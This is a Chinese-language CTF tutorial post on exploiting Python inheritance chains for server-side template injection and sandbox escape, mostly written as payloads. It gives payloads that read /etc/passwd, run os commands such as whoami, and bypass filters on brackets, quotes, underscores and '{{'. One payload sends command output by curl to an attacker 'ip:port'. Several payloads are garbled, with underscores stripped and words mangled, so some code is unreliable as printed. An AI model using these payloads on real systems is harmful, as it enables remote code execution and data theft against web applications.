1. 程式人生 > 其它 >PYthon繼承鏈(egg)的思考和實戰

PYthon繼承鏈(egg)的思考和實戰

前言

起初學習ssti的時候,就只是拿著tplmap一頓亂掃,然後進行命令執行,之前深入學習了一下PYthon繼承鏈;今天寫個文章進行加深記憶和理解。

基礎知識

class

返回一個例項所屬的類;

這裡可以看到返回了s1mple 類;

globals

返回一個當前的空間之下可以利用的模組,方法和變數的字典;使用方法為 函式名.globals

subclasses()

返回一個類的子類,是列表的形式;

builtin && builtins

在PYthon中是可以直接執行一些內斂函式的,這些函式我們在builtin中可以看到;

PYthon繼承鏈在CTF中的實戰----沙盒逃逸

基本想法:::在PYthon的object中集成了很多的基礎函式;我們可以嘗試利用進行檔案的讀取或者寫入;

這裡我要宣告一下,沙箱逃逸中;py2和py3是不一樣的;首先來拿py2來進行討論;

這裡我們可以基於上面的基礎知識;

先檢視所有的object;然後再找file

().class.mro[1].subclass()[40]

就可以拿到file;然後我們看看其可以使用的內建方法,

這裡可以看到有個內建的read方法,因為存在file的object,所以我們需要利用這個點去進行檔案讀取;語法為


().class.mro[1].subclass()[40] ('xxxxxx').read()

也可以進行檔案的寫入。用的則是write;語法為().class.mro[1].subclass()[40] (路徑+檔名).write('內容')

然後還有個基類可以進行任意命令的執行;是 warnings.catch_warnings

().class.mro[1].subclasses()[59]

然後呼叫方法eval進行任意命令執行;

有沒有PY2和PY3通吃的方法呢

答案是有的;之前介紹了builtins


py2:().class.bases[0].subclasses()[59].init.globals'builtins'("import('os').system('whoami')")
py3:().class.bases[0].subclasses()[64].init.globals'builtins'("import('os').system('whoami')")

都可以進行任意程式碼執行;

有過濾該怎麼辦

下面介紹多種的繞過方式,進行繞過;

如果過濾了敏感字元,比如eval os等等

可以考慮使用編碼解碼繞過;可採用base64;或者rot13,16進位制和字元轉化等等的編碼進行繞過;這裡演示一下base64編碼eval進行繞過限制eval的情況,發現可以正常的執行;

過濾了中括號【】怎麼繞過去

這裡我提供的是getitem()進行繞過;

這裡發現可以執行成功;那麼我們只需要將我們執行中的【】全部換成我們的getitem即可,那麼問題來了,後面的[eval]怎麼繞過呢;這裡介紹一下 函式['屬性'] === 函式.屬性

''.class.mro[2].subclasses().getitem(59).init.globals.builtins.eval("import('os').popen('cat /etc/passwd').read()") 這樣就可以繞過去了,但是我在本地py環境下測試的時候發現不是那麼流暢,可能是py還需要載入什麼東西吧;

過濾了’”怎麼繞過去

過濾了這些繞過方式有些侷限性,因為這裡需要對漏洞的接收引數格式有嚴格的要求,必須是get或者post型的;而且get型的必須是類似於?s1mple= 這樣的接收方式才可以進行利用;那麼也就決定了在現實的沙盒逃逸中是不可行的,但是對於某些ctf題目來說卻是可行的;那就是利用request來進行傳值;


request.args.xx
{{[].class.mro[1].subclasses()[40] (request.args.s1mple).read()}}&s1mple=/etc/passwd

還有一種是通過chr進行繞過;(ascii碼)不過這中情況一般很少用;

過濾了雙下劃線怎麼繞過

依然是可以通過request 進行傳參的;給個例子;


()[request.args.class].bases[0].subclasses()[59].init.globals.builtins'eval'&class=class

過濾了{{怎麼繞過

這裡研究起源於做的一道ctf題目,當時fuzz了一下,發現過濾了{{ 這裡想到直接瀏覽器讀取肯定是不可能的了;這裡其實很明顯了,我們利用遠端SSTI把結果打到我們自己的伺服器上去;至於繞過 {{ 則可以採用 {%if xxxxx}1{% endif %},這裡給出一個例項;;

{% if ''.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen('curlhttp://ip:port/?i=whoami').read()=='p' %}1{% endif %} 如果是post的話,則可以採用另外的方法;利用curl -d 直接來傳;{% iconfigf ''.claconfigss.mconfigro[2].subclasconfigses()[59].init.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curlhttp://yourip:port/-d ls / | grep flag;') %}1{% endiconfigf %}

http://hetianlab.com/expc.do?ec=ECID87ed-2223-40e5-8083-f5c55d69af28(服務端模板注入是指使用者輸入的引數被服務端當成模板語言進行了渲染,導致程式碼執行。)

合天智匯:合天網路靶場、網安實戰虛擬環境